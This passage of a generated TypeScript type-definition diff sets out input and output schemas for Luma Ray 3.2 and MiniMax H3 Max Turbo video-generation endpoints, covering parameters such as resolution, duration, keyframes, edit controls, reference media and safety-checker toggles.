+ aspect_ratio?: InputLumaAgentRayV32ImageToVideoAspectRatioEnumKey + /** + * @description Resolution of the generated video. Higher resolutions cost more. + * @default '540p' + * @type string | undefined + */ + resolution?: InputLumaAgentRayV32ImageToVideoResolutionEnumKey + /** + * @description Multi-keyframe image-to-video guide frames: 1-64 image URLs pinned at the positions given by keyframe_indexes. Mutually exclusive with image_url, end_image_url, and loop; unlocks 10s and HDR. Provide keyframes and keyframe_indexes together (same length). + */ + keyframes?: string[] | null + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type FileFd88A9D3 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputLumaAgentRayV32ImageToVideo = { + /** + * @description The generated video. + * @type object + */ + video: FileFd88A9D3 + /** + * @description The generated EXR sidecar when exr_export is true. This may be a single EXR file or a ZIP package depending on Luma's export shape. + */ + exr_file?: FileFd88A9D3 | null +} + +export type RayReframeSourcePosition = { + /** + * @description Top edge of the source rectangle as a fraction of output height. + * @minimum -2 + * @maximum 2 + * @type number + */ + y_norm: number + /** + * @description Left edge of the source rectangle as a fraction of output width. + * @minimum -2 + * @maximum 2 + * @type number + */ + x_norm: number + /** + * @description Width of the source rectangle as a fraction of output width. + * @maximum 2 + * @type number + */ + w_norm: number + /** + * @description Height of the source rectangle as a fraction of output height. + * @maximum 2 + * @type number + */ + h_norm: number +} + +export const inputLumaAgentRayV32ReframeDuration = { + '5s': '5s', + '10s': '10s', +} as const + +export type InputLumaAgentRayV32ReframeDurationKey = + (typeof inputLumaAgentRayV32ReframeDuration)[keyof typeof inputLumaAgentRayV32ReframeDuration] + +export const inputLumaAgentRayV32ReframeAspectRatioEnum = { + '3:4': '3:4', + '4:3': '4:3', + '1:1': '1:1', + '9:16': '9:16', + '16:9': '16:9', + '21:9': '21:9', +} as const + +export type InputLumaAgentRayV32ReframeAspectRatioEnumKey = + (typeof inputLumaAgentRayV32ReframeAspectRatioEnum)[keyof typeof inputLumaAgentRayV32ReframeAspectRatioEnum] + +export const inputLumaAgentRayV32ReframeResolutionEnum = { + '540p': '540p', + '720p': '720p', + '1080p': '1080p', +} as const + +export type InputLumaAgentRayV32ReframeResolutionEnumKey = + (typeof inputLumaAgentRayV32ReframeResolutionEnum)[keyof typeof inputLumaAgentRayV32ReframeResolutionEnum] + +export type InputLumaAgentRayV32Reframe = { + /** + * @description Duration of the reframed video. Defaults to matching the source video's duration; set explicitly to 5s or 10s to override. + */ + duration?: InputLumaAgentRayV32ReframeDurationKey | null + /** + * @description Optional normalized source rectangle controlling where the source video sits in the output canvas. + */ + source_position?: RayReframeSourcePosition | null + /** + * @description URL of the source video to reframe (must be 10 seconds or less). + * @minLength 1 + * @example https://storage.googleapis.com/falserverless/example_inputs/birefnet-video-input.mp4 + * @type string + */ + video_url: string + /** + * @description Target aspect ratio for the reframed video. + * @example 21:9 + * @type string + */ + aspect_ratio: InputLumaAgentRayV32ReframeAspectRatioEnumKey + /** + * @description Resolution of the reframed video. Higher resolutions cost more. + * @default '540p' + * @type string | undefined + */ + resolution?: InputLumaAgentRayV32ReframeResolutionEnumKey + /** + * @description Text prompt describing the content to paint into the newly exposed canvas area when reframing to the target aspect ratio. + * @minLength 1 + * @maxLength 6000 + * @example Extend the scene into cinematic widescreen with matching lighting and background detail. + * @type string + */ + prompt: string + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type File2D19D920 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputLumaAgentRayV32Reframe = { + /** + * @description The generated video. + * @type object + */ + video: File2D19D920 + /** + * @description The generated EXR sidecar when exr_export is true. This may be a single EXR file or a ZIP package depending on Luma's export shape. + */ + exr_file?: File2D19D920 | null +} + +export const inputLumaAgentRayV32TextToVideoDurationEnum = { + '5s': '5s', + '10s': '10s', +} as const + +export type InputLumaAgentRayV32TextToVideoDurationEnumKey = + (typeof inputLumaAgentRayV32TextToVideoDurationEnum)[keyof typeof inputLumaAgentRayV32TextToVideoDurationEnum] + +export const inputLumaAgentRayV32TextToVideoAspectRatioEnum = { + '3:4': '3:4', + '4:3': '4:3', + '1:1': '1:1', + '9:16': '9:16', + '16:9': '16:9', + '21:9': '21:9', +} as const + +export type InputLumaAgentRayV32TextToVideoAspectRatioEnumKey = + (typeof inputLumaAgentRayV32TextToVideoAspectRatioEnum)[keyof typeof inputLumaAgentRayV32TextToVideoAspectRatioEnum] + +export const inputLumaAgentRayV32TextToVideoResolutionEnum = { + '540p': '540p', + '720p': '720p', + '1080p': '1080p', +} as const + +export type InputLumaAgentRayV32TextToVideoResolutionEnumKey = + (typeof inputLumaAgentRayV32TextToVideoResolutionEnum)[keyof typeof inputLumaAgentRayV32TextToVideoResolutionEnum] + +export type InputLumaAgentRayV32TextToVideo = { + /** + * @description Generate an HDR-encoded MP4. Requires HDR access on the account and a resolution of 720p or 1080p; not supported with 10s or loop. + * @default false + * @type boolean | undefined + */ + hdr?: boolean + /** + * @description Generate a seamless loop. Only valid for 5s, standard-dynamic-range generations without an end frame. + * @default false + * @type boolean | undefined + */ + loop?: boolean + /** + * @description Also export an EXR file alongside the MP4. Requires hdr=true and HDR access. + * @default false + * @type boolean | undefined + */ + exr_export?: boolean + /** + * @description Text prompt describing the video to generate. + * @minLength 1 + * @maxLength 6000 + * @example A herd of wild horses galloping across a dusty desert plain under a blazing midday sun, their manes flying in the wind; wide tracking shot. + * @type string + */ + prompt: string + /** + * @description Duration of the generated video. + * @default '5s' + * @type string | undefined + */ + duration?: InputLumaAgentRayV32TextToVideoDurationEnumKey + /** + * @description Aspect ratio of the generated video. + * @default '16:9' + * @example 16:9 + * @type string | undefined + */ + aspect_ratio?: InputLumaAgentRayV32TextToVideoAspectRatioEnumKey + /** + * @description Resolution of the generated video. Higher resolutions cost more. + * @default '540p' + * @type string | undefined + */ + resolution?: InputLumaAgentRayV32TextToVideoResolutionEnumKey + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type File64Ace8C7 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputLumaAgentRayV32TextToVideo = { + /** + * @description The generated video. + * @type object + */ + video: File64Ace8C7 + /** + * @description The generated EXR sidecar when exr_export is true. This may be a single EXR file or a ZIP package depending on Luma's export shape. + */ + exr_file?: File64Ace8C7 | null +} + +export type RayEditNormalsControl = { + /** + * @description Enable surface-normals conditioning for the edit. + * @default true + * @type boolean | undefined + */ + enabled?: boolean + /** + * @description Surface-normals augmentation. Higher values allow more reinterpretation of surface geometry. Leave unset for the default. + */ + augmentation?: number | null +} + +export type RayEditDepthControl = { + /** + * @description Enable depth / scene-geometry conditioning for the edit. + * @default true + * @type boolean | undefined + */ + enabled?: boolean + /** + * @description Depth blur. Higher values allow more geometric freedom. Leave unset for the default. + */ + blur?: number | null +} + +export type RayEditTrajectoryControl = { + /** + * @description Enable motion-trajectory conditioning for the edit. + * @default true + * @type boolean | undefined + */ + enabled?: boolean + /** + * @description Motion-trajectory sparsity. Higher values use fewer motion anchors. Leave unset for the default. + */ + sparsity?: number | null +} + +export const rayEditPoseControlStrength = { + precise: 'precise', + coarse: 'coarse', +} as const + +export type RayEditPoseControlStrengthKey = + (typeof rayEditPoseControlStrength)[keyof typeof rayEditPoseControlStrength] + +export type RayEditPoseControl = { + /** + * @description Enable pose / skeleton conditioning for the edit. + * @default true + * @type boolean | undefined + */ + enabled?: boolean + /** + * @description Pose conditioning precision. 'precise' follows the source pose tightly; 'coarse' allows more freedom. Leave unset for the default. + */ + strength?: RayEditPoseControlStrengthKey | null +} + +export type RayEditFaceControl = { + /** + * @description Enable face-identity conditioning for the edit. + * @default true + * @type boolean | undefined + */ + enabled?: boolean +} + +/** + * @description Per-signal conditioning controls for ray-3.2 video editing. + * + * Each signal is optional; include only the signals you want to tune. Cannot + * be combined with auto_controls. Mirrors the Luma Agents ``video.edit.controls`` + * object — see https://docs.agents.lumalabs.ai/api/resources/generations. + * @type object + */ +export type RayEditControls = { + /** + * @description Surface-normals conditioning. + */ + normals?: RayEditNormalsControl | null + /** + * @description Depth / scene-geometry conditioning. + */ + depth?: RayEditDepthControl | null + /** + * @description Motion-trajectory conditioning. + */ + trajectory?: RayEditTrajectoryControl | null + /** + * @description Pose / skeleton conditioning. + */ + pose?: RayEditPoseControl | null + /** + * @description Face-identity conditioning. + */ + face?: RayEditFaceControl | null +} + +export const inputLumaAgentRayV32VideoToVideoEditStrength = { + adhere_1: 'adhere_1', + adhere_2: 'adhere_2', + adhere_3: 'adhere_3', + flex_1: 'flex_1', + flex_2: 'flex_2', + flex_3: 'flex_3', + reimagine_1: 'reimagine_1', + reimagine_2: 'reimagine_2', + reimagine_3: 'reimagine_3', +} as const + +export type InputLumaAgentRayV32VideoToVideoEditStrengthKey = + (typeof inputLumaAgentRayV32VideoToVideoEditStrength)[keyof typeof inputLumaAgentRayV32VideoToVideoEditStrength] + +export const inputLumaAgentRayV32VideoToVideoDurationEnum = { + '5s': '5s', + '10s': '10s', +} as const + +export type InputLumaAgentRayV32VideoToVideoDurationEnumKey = + (typeof inputLumaAgentRayV32VideoToVideoDurationEnum)[keyof typeof inputLumaAgentRayV32VideoToVideoDurationEnum] + +export const inputLumaAgentRayV32VideoToVideoResolutionEnum = { + '540p': '540p', + '720p': '720p', + '1080p': '1080p', +} as const + +export type InputLumaAgentRayV32VideoToVideoResolutionEnumKey = + (typeof inputLumaAgentRayV32VideoToVideoResolutionEnum)[keyof typeof inputLumaAgentRayV32VideoToVideoResolutionEnum] + +export type InputLumaAgentRayV32VideoToVideo = { + /** + * @description Generate an HDR-encoded MP4. Requires HDR access on the account and a resolution of 720p or 1080p. + * @default false + * @type boolean | undefined + */ + hdr?: boolean + /** + * @description Also export an EXR file alongside the MP4. Requires hdr=true and HDR access. + * @default false + * @type boolean | undefined + */ + exr_export?: boolean + /** + * @description URL of the source video to edit. + * @minLength 1 + * @example https://storage.googleapis.com/falserverless/example_inputs/birefnet-video-input.mp4 + * @type string + */ + video_url: string + /** + * @description Let the model derive the edit conditioning schedule from the source video. Cannot be combined with edit_strength. + * @default false + * @type boolean | undefined + */ + auto_controls?: boolean + /** + * @description Optional URL of an image to use as the edited video's first frame — e.g. a restyled version of the source's opening frame to steer the look of the edit. Leave unset to let the model derive the first frame from the source video. + * @example https://storage.googleapis.com/falserverless/gallery/example_inputs_liuyifei.png + */ + start_image_url?: string | null + /** + * @description How closely the edit preserves the source video. 'adhere_*' stays closest to the source, 'flex_*' is balanced, and 'reimagine_*' diverges most. Leave unset to use Luma's default. Cannot be combined with auto_controls. + */ + edit_strength?: InputLumaAgentRayV32VideoToVideoEditStrengthKey | null + /** + * @description Duration of the edited video. + * @default '5s' + * @type string | undefined + */ + duration?: InputLumaAgentRayV32VideoToVideoDurationEnumKey + /** + * @description Source-video frame positions where each keyframes[i] is anchored. Non-negative, unique, and the same length as keyframes. + */ + keyframe_indexes?: number[] | null + /** + * @description Text prompt describing how to edit the source video. + * @minLength 1 + * @maxLength 6000 + * @example Restyle the footage as a hand-painted watercolor animation with soft pastel colors. + * @type string + */ + prompt: string + /** + * @description Optional opaque identifier for the end user making the request. Used only for abuse attribution; never interpreted by fal. + */ + user?: string | null + /** + * @description Per-signal conditioning controls (pose, depth, normals, trajectory, face) for finer control than edit_strength. Cannot be combined with auto_controls. + */ + controls?: RayEditControls | null + /** + * @description Resolution of the edited video. Higher resolutions cost more. + * @default '540p' + * @type string | undefined + */ + resolution?: InputLumaAgentRayV32VideoToVideoResolutionEnumKey + /** + * @description Multi-keyframe edit guide frames: up to 64 image URLs pinned at the source-frame positions given by keyframe_indexes. Mutually exclusive with start_image_url. Provide keyframes and keyframe_indexes together (same length). + */ + keyframes?: string[] | null + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type File3823D839 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputLumaAgentRayV32VideoToVideo = { + /** + * @description The generated video. + * @type object + */ + video: File3823D839 + /** + * @description The generated EXR sidecar when exr_export is true. This may be a single EXR file or a ZIP package depending on Luma's export shape. + */ + exr_file?: File3823D839 | null +} + +export const inputMinimaxH3MaxTurboExtendVideoAspectRatioEnum = { + auto: 'auto', + '21:9': '21:9', + '16:9': '16:9', + '4:3': '4:3', + '1:1': '1:1', + '3:4': '3:4', + '9:16': '9:16', +} as const + +export type InputMinimaxH3MaxTurboExtendVideoAspectRatioEnumKey = + (typeof inputMinimaxH3MaxTurboExtendVideoAspectRatioEnum)[keyof typeof inputMinimaxH3MaxTurboExtendVideoAspectRatioEnum] + +export const inputMinimaxH3MaxTurboExtendVideoOutputEnum = { + extended: 'extended', + continuation: 'continuation', +} as const + +export type InputMinimaxH3MaxTurboExtendVideoOutputEnumKey = + (typeof inputMinimaxH3MaxTurboExtendVideoOutputEnum)[keyof typeof inputMinimaxH3MaxTurboExtendVideoOutputEnum] + +export const inputMinimaxH3MaxTurboExtendVideoResolutionEnum = { + '480P': '480P', + '768P': '768P', + '1080P': '1080P', + '2K': '2K', +} as const + +export type InputMinimaxH3MaxTurboExtendVideoResolutionEnumKey = + (typeof inputMinimaxH3MaxTurboExtendVideoResolutionEnum)[keyof typeof inputMinimaxH3MaxTurboExtendVideoResolutionEnum] + +/** + * @description Extend a video with new footage based on a prompt. + * @type object + */ +export type InputMinimaxH3MaxTurboExtendVideo = { + /** + * @description Output aspect ratio. 'auto' follows the source video. Other values crop the video to fit the selected ratio. + * @default 'auto' + * @type string | undefined + */ + aspect_ratio?: InputMinimaxH3MaxTurboExtendVideoAspectRatioEnumKey + /** + * @description Automatically enhance the prompt using the source video to help keep the continuation consistent. May increase processing time. + * @default true + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description Optional audio references for the continuation (2–15 seconds each, 15 seconds combined). The full extended video retains its original source soundtrack, and its ending still conditions the transition. These clips guide the newly generated audio instead of using that soundtrack as an audio reference. Assign each clip a role in the prompt, such as 'Audio 1 for the voice' and 'Audio 2 for background music'. + * @type array | undefined + */ + reference_audio_urls?: string[] + /** + * @description 'extended' returns the source and new footage as one video. 'continuation' returns a clip that starts with a 1.625-second repeat of the source's ending, then shows the new footage. + * @default 'extended' + * @type string | undefined + */ + output?: InputMinimaxH3MaxTurboExtendVideoOutputEnumKey + /** + * @description URL of the video to extend. Must be 1.625 s to 60 s long, up to 50 MB, aspect ratio between 0.4 and 2.5. + * @minLength 1 + * @example https://storage.googleapis.com/falserverless/example_inputs/flux-3-red-panda.mp4 + * @type string + */ + video_url: string + /** + * @description Seconds of new footage to add. The continuation clip also includes 1.625 seconds from the source's ending and may be longer because of frame rounding. + * @minimum 0.71 + * @maximum 15 + * @default 5 + * @type number | undefined + */ + duration?: number + /** + * @description What happens next. Describe the continuation, not the source. + * @minLength 1 + * @maxLength 50000 + * @example The red panda keeps walking along the log, then looks up at a bird. + * @type string + */ + prompt: string + /** + * @description Seed for the continuation. Random when omitted. + */ + seed?: number | null + /** + * @description Moderate the source video and the prompt. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Output video resolution. + * @default '768P' + * @type string | undefined + */ + resolution?: InputMinimaxH3MaxTurboExtendVideoResolutionEnumKey +} + +export type File05D829C9 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputMinimaxH3MaxTurboExtendVideo = { + /** + * @description Seconds of returned video. + * @type number + */ + duration: number + timings?: { + [key: string]: number + } + /** + * @description Source video information: width, height, frame rate, duration, and audio. + * @type object + */ + source: object + /** + * @description Seed used for the continuation. + * @type integer + */ + seed: number + /** + * @description The returned video. In 'continuation' mode, it includes the 1.625-second repeat at the start. + * @type object + */ + video: File05D829C9 + /** + * @description The prompt used after expansion, or null when unchanged. + */ + expanded_prompt?: string | null +} + +export const inputMinimaxH3MaxTurboImageToVideoResolutionEnum = { + '480P': '480P', + '768P': '768P', + '1080P': '1080P', +} as const + +export type InputMinimaxH3MaxTurboImageToVideoResolutionEnumKey = + (typeof inputMinimaxH3MaxTurboImageToVideoResolutionEnum)[keyof typeof inputMinimaxH3MaxTurboImageToVideoResolutionEnum] + +export type InputMinimaxH3MaxTurboImageToVideo = { + /** + * @description Return the generated video as base64 instead of a CDN URL. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Random seed. A random seed is selected when omitted. + */ + seed?: number | null + /** + * @description If set to true, the safety checker will be enabled. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Text prompt for video generation + * @minLength 1 + * @maxLength 50000 + * @example The camera slowly pulls back from the scene, revealing the full landscape as clouds drift overhead and light shifts across the terrain. + * @type string + */ + prompt: string + /** + * @description Optional URL of an audio clip at least 2 seconds long (maximum 15 MB) to pin to the generated soundtrack. Longer clips are trimmed to the generated video's length, keeping the beginning. The original audio replaces the output soundtrack, padded with silence if shorter than the video, without changing playback speed. Exceptionally high sample rates may be resampled to 96 kHz. Accepts an HTTP(S) URL or a base64 data URI. + */ + target_audio_url?: string | null + /** + * @description Optional URL of the image to use as the first frame. When provided, the output canvas follows this image. If only end_image_url is provided, the canvas follows that last frame instead. If both images are omitted, the request is handled as text-to-video (16:9 by default). + * @example https://storage.googleapis.com/falserverless/example_inputs/hailuo23/pro_i2v_in.jpg + */ + image_url?: string | null + /** + * @description How much effort to spend rewriting the prompt before generation. 'disabled' skips prompt expansion. 'balanced' returns in about a second. 'quality' spends up to ~30s on a richer prompt. + * @default 'balanced' + * @example disabled + * @example balanced + * @example quality + * @type string + */ + prompt_expansion_mode: string + /** + * @description Video length in seconds. The output can run up to about 0.7 s longer than requested. Use at least 2 s with target_audio_url. + * @minimum 0.92 + * @maximum 15 + * @default 5 + * @type number | undefined + */ + duration?: number + /** + * @description The native generation resolution, or 1080P latent refinement from a native 768P source. + * @default '768P' + * @type string | undefined + */ + resolution?: InputMinimaxH3MaxTurboImageToVideoResolutionEnumKey + /** + * @description Optional URL of the image to use as the last frame. It may be provided alone for end-only keyframe generation; in that case the output canvas follows this image. + */ + end_image_url?: string | null +} + +export type File16Adb9Ea = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputMinimaxH3MaxTurboImageToVideo = { + /** + * @description Timing breakdown in seconds. 'inference' is the DiT denoising time on the GPU backend. Null on routes that do not report backend timings. + */ + timings?: { + [key: string]: number + } | null + /** + * @description The prompt after expansion, as sent to the model. Null when prompt expansion was disabled, left the prompt unchanged, or was performed internally by MiniMax's hosted API. + */ + expanded_prompt?: string | null + /** + * @description The generated video + * @type object + */ + video: File16Adb9Ea +} + +export const referenceConditionTypeEnum = { + image: 'image', + video: 'video', + audio: 'audio', +} as const + +export type ReferenceConditionTypeEnumKey = + (typeof referenceConditionTypeEnum)[keyof typeof referenceConditionTypeEnum] + +/** + * @description One ordered Ref2VA media condition. + * @type object + */ +export type ReferenceCondition = { + /** + * @description URL of the reference media. + * @minLength 1 + * @type string + */ + url: string + /** + * @description Reference modality. Cross-modality list order is semantic. + * @type string + */ + type: ReferenceConditionTypeEnumKey +} + +export const inputMinimaxH3MaxTurboReferenceToVideoAspectRatioEnum = { + adaptive: 'adaptive', + '21:9': '21:9', + '16:9': '16:9', + '4:3': '4:3', + '1:1': '1:1', + '3:4': '3:4', + '9:16': '9:16', +} as const + +export type InputMinimaxH3MaxTurboReferenceToVideoAspectRatioEnumKey = + (typeof inputMinimaxH3MaxTurboReferenceToVideoAspectRatioEnum)[keyof typeof inputMinimaxH3MaxTurboReferenceToVideoAspectRatioEnum] + +export const inputMinimaxH3MaxTurboReferenceToVideoResolutionEnum = { + '480P': '480P', + '768P': '768P', + '1080P': '1080P', +} as const + +export type InputMinimaxH3MaxTurboReferenceToVideoResolutionEnumKey = + (typeof inputMinimaxH3MaxTurboReferenceToVideoResolutionEnum)[keyof typeof inputMinimaxH3MaxTurboReferenceToVideoResolutionEnum] + +/** + * @description Reference KV caching supports references without target keyframes. + * @type object + */ +export type InputMinimaxH3MaxTurboReferenceToVideo = { + /** + * @description Return the generated video as base64 instead of a CDN URL. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Random seed. A random seed is selected when omitted. + */ + seed?: number | null + /** + * @description If set to true, the safety checker will be enabled. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Optional URL of an audio clip at least 2 seconds long (maximum 15 MB) to pin to the generated soundtrack. Cannot be combined with reference audio. Longer clips are trimmed to the generated video's length, keeping the beginning; shorter clips are padded with silence. The clip is resampled to 32 kHz stereo and replaces the output soundtrack without changing playback speed. Accepts an HTTP(S) URL or a base64 data URI. + */ + target_audio_url?: string | null + /** + * @description The aspect ratio of the generated video. + * @default 'adaptive' + * @type string | undefined + */ + aspect_ratio?: InputMinimaxH3MaxTurboReferenceToVideoAspectRatioEnumKey + /** + * @description The native generation resolution, or 1080P latent refinement from a native 768P source. + * @default '768P' + * @type string | undefined + */ + resolution?: InputMinimaxH3MaxTurboReferenceToVideoResolutionEnumKey + /** + * @description How much effort to spend rewriting the prompt before generation. 'disabled' skips prompt expansion. 'balanced' returns in about a second. 'quality' spends up to ~30s on a richer prompt. + * @default 'balanced' + * @example disabled + * @example balanced + * @example quality + * @type string + */ + prompt_expansion_mode: string + /** + * @description URLs of motion/reference video clips (2-15 seconds each, combined duration at most 15 seconds), referenced in the prompt as Video 1, Video 2, and so on. Reference images, videos, and audio clips must add up to at most 12 files. + * @type array | undefined + */ + reference_video_urls?: string[] + /** + * @description URLs of subject/style reference images, referenced in the prompt as Image 1, Image 2, and so on. Reference images, videos, and audio clips must add up to at most 12 files. + * @example ["https://storage.googleapis.com/falserverless/example_inputs/hailuo23/pro_i2v_in.jpg"] + * @type array | undefined + */ + reference_image_urls?: string[] + /** + * @description URLs of reference audio clips (2-15 seconds each, combined duration at most 15 seconds), referenced in the prompt as Audio 1, Audio 2, and so on. Images, videos, and audio can be provided individually or together. Reference images, videos, and audio clips must add up to at most 12 files. + * @type array | undefined + */ + reference_audio_urls?: string[] + /** + * @description Video length in seconds. The output can run up to about 0.7 s longer than requested. Use at least 2 s with target_audio_url. + * @minimum 0.92 + * @maximum 15 + * @default 5 + * @type number | undefined + */ + duration?: number + /** + * @description Ordered reference list; cross-modality order is semantic and is preserved end-to-end. Do not combine with reference_*_urls. + * @type array | undefined + */ + reference_conditions?: ReferenceCondition[] + /** + * @description Text prompt for video generation. Refer to reference assets by their modality and order in the reference lists: Image 1, Image 2, Video 1, Audio 1, and so on. + * @minLength 1 + * @maxLength 50000 + * @example Image 1 is the female protagonist. Image 2 is her small dog. Keep the woman and dog consistent with their respective reference images while they walk together through a sunlit garden. + * @type string + */ + prompt: string +} + +export type File8F716254 = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputMinimaxH3MaxTurboReferenceToVideo = { + /** + * @description Base seed for reproducing the generation. + * @type integer + */ + seed: number + /** + * @description The generated video + * @type object + */ + video: File8F716254 + /** + * @description Timing breakdown in seconds. 'inference' is the DiT denoising time on the GPU backend. Null on routes that do not report backend timings. + */ + timings?: { + [key: string]: number + } | null + /** + * @description The prompt after expansion, as sent to the model. Null when prompt expansion was disabled, left the prompt unchanged, or was performed internally by MiniMax's hosted API. + */ + expanded_prompt?: string | null + /** + * @description Packed reference conditioner rows encoded for this request (images, videos, keyframes, and audio). The first 4096 rows are included in the clip price. + */ + reference_tokens?: number | null +} + +export const inputMinimaxH3MaxTurboTextToVideoAspectRatioEnum = { + '21:9': '21:9', + '16:9': '16:9', + '4:3': '4:3', + '1:1': '1:1', + '3:4': '3:4', + '9:16': '9:16', +} as const + +export type InputMinimaxH3MaxTurboTextToVideoAspectRatioEnumKey = + (typeof inputMinimaxH3MaxTurboTextToVideoAspectRatioEnum)[keyof typeof inputMinimaxH3MaxTurboTextToVideoAspectRatioEnum] + +export const inputMinimaxH3MaxTurboTextToVideoResolutionEnum = { + '480P': '480P', + '768P': '768P', + '1080P': '1080P', +} as const + +export type InputMinimaxH3MaxTurboTextToVideoResolutionEnumKey = + (typeof inputMinimaxH3MaxTurboTextToVideoResolutionEnum)[keyof typeof inputMinimaxH3MaxTurboTextToVideoResolutionEnum] + +export type InputMinimaxH3MaxTurboTextToVideo = { + /** + * @description Return the generated video as base64 instead of a CDN URL. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Random seed. A random seed is selected when omitted. + */ + seed?: number | null + /** + * @description If set to true, the safety checker will be enabled. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The aspect ratio of the generated video. + * @default '16:9' + * @type string | undefined + */ + aspect_ratio?: InputMinimaxH3MaxTurboTextToVideoAspectRatioEnumKey + /** + * @description Optional URL of an audio clip at least 2 seconds long (maximum 15 MB) to pin to the generated soundtrack. Longer clips are trimmed to the generated video's length, keeping the beginning. The original audio replaces the output soundtrack, padded with silence if shorter than the video, without changing playback speed. Exceptionally high sample rates may be resampled to 96 kHz. Accepts an HTTP(S) URL or a base64 data URI. + */ + target_audio_url?: string | null + /** + * @description The native generation resolution, or 1080P latent refinement from a native 768P source. + * @default '768P' + * @type string | undefined + */ + resolution?: InputMinimaxH3MaxTurboTextToVideoResolutionEnumKey + /** + * @description How much effort to spend rewriting the prompt before generation. 'disabled' skips prompt expansion. 'balanced' returns in about a second. 'quality' spends up to ~30s on a richer prompt. + * @default 'balanced' + * @example disabled + * @example balanced + * @example quality + * @type string + */ + prompt_expansion_mode: string + /** + * @description Video length in seconds. The output can run up to about 0.7 s longer than requested. Use at least 2 s with target_audio_url. + * @minimum 0.92 + * @maximum 15 + * @default 5 + * @type number | undefined + */ + duration?: number + /** + * @description Text prompt for video generation + * @minLength 1 + * @maxLength 50000 + * @example A white kitten chases a butterfly across a sunlit garden. Gentle camera tracking, natural movement, soft afternoon light filtering through the leaves. + * @type string + */ + prompt: string +} + +export type File61115698 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputMinimaxH3MaxTurboTextToVideo = { + /** + * @description Timing breakdown in seconds. 'inference' is the DiT denoising time on the GPU backend. Null on routes that do not report backend timings. + */ + timings?: { + [key: string]: number + } | null + /** + * @description The prompt after expansion, as sent to the model. Null when prompt expansion was disabled, left the prompt unchanged, or was performed internally by MiniMax's hosted API. + */ + expanded_prompt?: string | null + /** + * @description The generated video + * @example {"file_size":6463396,"url":"https://v3b.fal.media/files/b/0aa46818/--prs89fkHtWW406fmEs__NRhTqNku.mp4","content_type":"video/mp4","file_name":"--prs89fkHtWW406fmEs__NRhTqNku.mp4"} + * @type object + */ + video: File61115698 +} + +export const inputMinimaxH3Max3DToVideoResolutionEnum = { + '480P': '480P', + '768P': '768P', + '1080P': '1080P', +} as const + +export type InputMinimaxH3Max3DToVideoResolutionEnumKey = + (typeof inputMinimaxH3Max3DToVideoResolutionEnum)[keyof typeof inputMinimaxH3Max3DToVideoResolutionEnum] + +export type InputMinimaxH3Max3DToVideo = { + /** + * @description Optional clarification of what your proxies represent or how they move, for example: 'The moving block represents a running person.' Camera, trajectories, timing and object count remain defined by the video. + */ + prompt?: string | null + /** + * @description Maximum NEW images to generate when no reference images are supplied. Ignored when reference images are supplied. Uses fewer when enough views are covered. Uncovered shots stay in the video. + * @minimum 1 + * @maximum 8 + * @default 2 + * @type integer | undefined + */ + max_generated_reference_images?: number + /** + * @description Optional environment, subject, interior or detail references. When supplied, uses these images directly without visual planning or generating new images; Scene Intent is optional. Without references, automatically creates 